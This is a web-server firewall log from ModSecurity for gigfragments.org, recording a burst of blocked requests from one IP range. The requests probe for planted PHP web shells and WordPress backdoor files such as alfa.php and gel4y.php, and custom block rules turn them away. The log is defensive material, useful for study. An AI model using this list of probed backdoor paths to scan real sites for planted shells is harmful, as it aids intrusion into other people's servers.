[Wed Feb 04 00:36:50.297759 2026] [:error] [pid 28720:tid 28745] [client 85.203.21.131:36073] [client 85.203.21.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/assets/images/"] [unique_id "aYIkImmRXm2bmr_sYiYLMwAAARc"]
[Wed Feb 04 00:36:50.591640 2026] [:error] [pid 43028:tid 43041] [client 85.203.21.94:27439] [client 85.203.21.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp.php"] [unique_id "aYIkIlnHWnJD4cJC5DsD6gAAAMs"]
[Wed Feb 04 00:36:50.884452 2026] [:error] [pid 28720:tid 28744] [client 85.203.21.103:38551] [client 85.203.21.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dvi1suj7vbijhcni3sCakc.php"] [unique_id "aYIkImmRXm2bmr_sYiYLNAAAARY"]
[Wed Feb 04 00:36:51.179954 2026] [:error] [pid 43028:tid 43053] [client 85.203.21.96:36309] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aYIkI1nHWnJD4cJC5DsD7QAAANc"]
[Wed Feb 04 00:36:51.473741 2026] [:error] [pid 42920:tid 42932] [client 85.203.21.153:45473] [client 85.203.21.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/index.html"] [unique_id "aYIkIyix3YKltG4EU0m-MAAAAAM"]
[Wed Feb 04 00:36:51.770674 2026] [:error] [pid 5229:tid 5234] [client 85.203.21.118:26993] [client 85.203.21.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIkI0KmEgmJub93yUpJPAAAAYM"]
[Wed Feb 04 00:36:52.061957 2026] [:error] [pid 5148:tid 5175] [client 85.203.21.130:35089] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "aYIkJL83HCHLtUIbS7Io8AAAAVg"]
[Wed Feb 04 00:36:52.354763 2026] [:error] [pid 5148:tid 5156] [client 85.203.21.123:40423] [client 85.203.21.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "aYIkJL83HCHLtUIbS7Io8QAAAUU"]
[Wed Feb 04 00:36:52.646343 2026] [:error] [pid 42921:tid 42978] [client 85.203.21.74:27965] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/hplfuns.php"] [unique_id "aYIkJIblShffGl-01oe0LwAAAFQ"]
[Wed Feb 04 00:36:52.939358 2026] [:error] [pid 42921:tid 42969] [client 85.203.21.109:49757] [client 85.203.21.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/classsmtps.php"] [unique_id "aYIkJIblShffGl-01oe0MAAAAEs"]
[Wed Feb 04 00:36:54.675215 2026] [:error] [pid 28720:tid 28726] [client 85.203.21.152:33911] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mah/function.php"] [unique_id "aYIkJmmRXm2bmr_sYiYLNwAAAQQ"]
[Wed Feb 04 00:36:54.966943 2026] [:error] [pid 42920:tid 42953] [client 85.203.21.87:59253] [client 85.203.21.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aYIkJiix3YKltG4EU0m-MwAAABg"]
[Wed Feb 04 00:36:55.258973 2026] [:error] [pid 42920:tid 42939] [client 85.203.21.110:42977] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/14bcjywsujyrjjwqegeCdefault.php"] [unique_id "aYIkJyix3YKltG4EU0m-NAAAAAo"]
[Wed Feb 04 00:36:55.551130 2026] [:error] [pid 43028:tid 43048] [client 85.203.21.71:25239] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aYIkJ1nHWnJD4cJC5DsD9wAAANI"]
[Wed Feb 04 00:36:55.844651 2026] [:error] [pid 43028:tid 43035] [client 85.203.21.111:43289] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aYIkJ1nHWnJD4cJC5DsD-AAAAMU"]
[Wed Feb 04 00:36:56.137653 2026] [:error] [pid 5148:tid 5172] [client 85.203.21.143:39561] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/css/"] [unique_id "aYIkKL83HCHLtUIbS7Io9QAAAVU"]
[Wed Feb 04 00:36:56.430564 2026] [:error] [pid 28720:tid 28736] [client 85.203.21.98:23937] [client 85.203.21.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aYIkKGmRXm2bmr_sYiYLOQAAAQ4"]
[Wed Feb 04 00:36:56.727835 2026] [:error] [pid 42921:tid 42963] [client 85.203.21.76:63175] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYIkKIblShffGl-01oe0NQAAAEU"]
[Wed Feb 04 00:36:57.019398 2026] [:error] [pid 28720:tid 28727] [client 85.203.21.132:53759] [client 85.203.21.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aYIkKWmRXm2bmr_sYiYLOwAAAQU"]
[Wed Feb 04 00:36:57.311648 2026] [:error] [pid 43028:tid 43045] [client 85.203.21.111:49363] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/php.php"] [unique_id "aYIkKVnHWnJD4cJC5DsD-wAAAM8"]
[Wed Feb 04 00:36:57.607428 2026] [:error] [pid 5229:tid 5249] [client 85.203.21.119:53475] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aYIkKUKmEgmJub93yUpJPwAAAZI"]
[Wed Feb 04 00:36:57.903358 2026] [:error] [pid 43028:tid 43046] [client 85.203.21.93:32473] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/"] [unique_id "aYIkKVnHWnJD4cJC5DsD_gAAANA"]
[Wed Feb 04 00:36:58.197804 2026] [:error] [pid 43028:tid 43042] [client 85.203.21.143:57129] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/adminfuns.php/.well-known/acme-challenge/file.php"] [unique_id "aYIkKlnHWnJD4cJC5DsEAAAAAMw"]
[Wed Feb 04 00:36:58.492322 2026] [:error] [pid 43028:tid 43034] [client 85.203.21.94:27343] [client 85.203.21.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp/wp-admin/includes/"] [unique_id "aYIkKlnHWnJD4cJC5DsEAgAAAMQ"]
[Wed Feb 04 00:36:58.787116 2026] [:error] [pid 43028:tid 43040] [client 85.203.21.100:64295] [client 85.203.21.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aYIkKlnHWnJD4cJC5DsEBAAAAMo"]
[Wed Feb 04 00:36:59.082340 2026] [:error] [pid 5229:tid 5233] [client 85.203.21.81:38581] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aYIkK0KmEgmJub93yUpJQQAAAYI"]
[Wed Feb 04 00:36:59.374384 2026] [:error] [pid 5229:tid 5238] [client 85.203.21.70:30065] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/about.php"] [unique_id "aYIkK0KmEgmJub93yUpJQgAAAYc"]
[Wed Feb 04 00:36:59.667208 2026] [:error] [pid 43028:tid 43052] [client 85.203.21.132:46137] [client 85.203.21.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/help.php"] [unique_id "aYIkK1nHWnJD4cJC5DsEBgAAANY"]
[Wed Feb 04 00:36:59.961675 2026] [:error] [pid 42922:tid 42987] [client 85.203.21.112:50263] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aYIkK2azX4WPS_dQRkjWgwAAAII"]
[Wed Feb 04 00:37:00.292607 2026] [:error] [pid 5148:tid 5166] [client 85.203.21.79:60461] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin"] [unique_id "aYIkLL83HCHLtUIbS7Io-wAAAU8"]
[Wed Feb 04 00:37:00.586261 2026] [:error] [pid 5229:tid 5248] [client 85.203.21.115:50005] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aYIkLEKmEgmJub93yUpJRAAAAZE"]
[Wed Feb 04 00:37:00.891072 2026] [:error] [pid 5229:tid 5255] [client 85.203.21.107:24725] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aYIkLEKmEgmJub93yUpJRgAAAZg"]
[Wed Feb 04 00:37:01.185240 2026] [:error] [pid 42921:tid 42961] [client 85.203.21.92:43751] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue"] [unique_id "aYIkLYblShffGl-01oe0SgAAAEM"]
[Wed Feb 04 00:37:01.477964 2026] [:error] [pid 42920:tid 42950] [client 85.203.21.119:55201] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/options-reading.php"] [unique_id "aYIkLSix3YKltG4EU0m-OwAAABU"]
[Wed Feb 04 00:37:01.771388 2026] [:error] [pid 5148:tid 5155] [client 85.203.21.123:22947] [client 85.203.21.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/"] [unique_id "aYIkLb83HCHLtUIbS7IpAgAAAUQ"]
[Wed Feb 04 00:37:02.074971 2026] [:error] [pid 43028:tid 43053] [client 85.203.21.110:48043] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/"] [unique_id "aYIkLlnHWnJD4cJC5DsECAAAANc"]
[Wed Feb 04 00:37:02.367119 2026] [:error] [pid 5229:tid 5232] [client 85.203.21.86:41029] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aYIkLkKmEgmJub93yUpJSAAAAYE"]
[Wed Feb 04 00:37:02.658606 2026] [:error] [pid 42920:tid 42953] [client 85.203.21.97:47889] [client 85.203.21.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/about.php"] [unique_id "aYIkLiix3YKltG4EU0m-PQAAABg"]
[Wed Feb 04 00:37:02.953361 2026] [:error] [pid 5229:tid 5240] [client 85.203.21.119:21235] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aYIkLkKmEgmJub93yUpJSgAAAYk"]
[Wed Feb 04 00:37:03.250679 2026] [:error] [pid 5229:tid 5245] [client 85.203.21.152:35223] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/about.php"] [unique_id "aYIkL0KmEgmJub93yUpJTQAAAY4"]
[Wed Feb 04 00:37:03.542988 2026] [:error] [pid 42921:tid 42962] [client 85.203.21.137:56913] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/pki-validation/"] [unique_id "aYIkL4blShffGl-01oe0TAAAAEQ"]
[Wed Feb 04 00:37:03.837038 2026] [:error] [pid 43028:tid 43041] [client 85.203.21.73:48267] [client 85.203.21.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "aYIkL1nHWnJD4cJC5DsECwAAAMs"]
[Wed Feb 04 00:37:04.130448 2026] [:error] [pid 42921:tid 42959] [client 85.203.21.132:47831] [client 85.203.21.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "aYIkMIblShffGl-01oe0TgAAAEE"]
[Wed Feb 04 00:37:04.429951 2026] [:error] [pid 5148:tid 5157] [client 85.203.21.107:39113] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wordpress/wp-admin/maint/"] [unique_id "aYIkML83HCHLtUIbS7IpAwAAAUY"]
[Wed Feb 04 00:37:04.726627 2026] [:error] [pid 42922:tid 42994] [client 85.203.21.130:46169] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/modern/"] [unique_id "aYIkMGazX4WPS_dQRkjWhwAAAIk"]
[Wed Feb 04 00:37:05.022288 2026] [:error] [pid 42920:tid 42940] [client 85.203.21.153:49573] [client 85.203.21.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/g3brivy5d2ox733srcpl/4z5enevnessqqjdcxuCdefault.php"] [unique_id "aYIkMSix3YKltG4EU0m-QAAAAAs"]
[Wed Feb 04 00:37:05.314669 2026] [:error] [pid 43028:tid 43054] [client 85.203.21.97:30901] [client 85.203.21.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "aYIkMVnHWnJD4cJC5DsEDgAAANg"]
[Wed Feb 04 00:37:05.627818 2026] [:error] [pid 28720:tid 28742] [client 85.203.21.74:20239] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aYIkMWmRXm2bmr_sYiYLQQAAARQ"]
[Wed Feb 04 00:37:05.918804 2026] [:error] [pid 42921:tid 42965] [client 85.203.21.92:40813] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wa/"] [unique_id "aYIkMYblShffGl-01oe0UQAAAEc"]
[Wed Feb 04 00:37:06.215929 2026] [:error] [pid 28720:tid 28730] [client 85.203.21.76:51367] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aYIkMmmRXm2bmr_sYiYLQgAAAQg"]
[Wed Feb 04 00:37:06.517715 2026] [:error] [pid 5229:tid 5234] [client 85.203.21.138:25785] [client 85.203.21.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aYIkMkKmEgmJub93yUpJUgAAAYM"]
[Wed Feb 04 00:37:06.814888 2026] [:error] [pid 43028:tid 43042] [client 85.203.21.92:50869] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "aYIkMlnHWnJD4cJC5DsEEgAAAMw"]
[Wed Feb 04 00:37:07.112603 2026] [:error] [pid 28720:tid 28723] [client 85.203.21.112:43599] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aYIkM2mRXm2bmr_sYiYLRQAAAQE"]
[Wed Feb 04 00:37:07.408637 2026] [:error] [pid 42920:tid 42938] [client 85.203.21.138:30995] [client 85.203.21.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aYIkMyix3YKltG4EU0m-QgAAAAk"]
[Wed Feb 04 00:37:07.701606 2026] [:error] [pid 5229:tid 5244] [client 85.203.21.73:27173] [client 85.203.21.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aYIkM0KmEgmJub93yUpJVAAAAY0"]
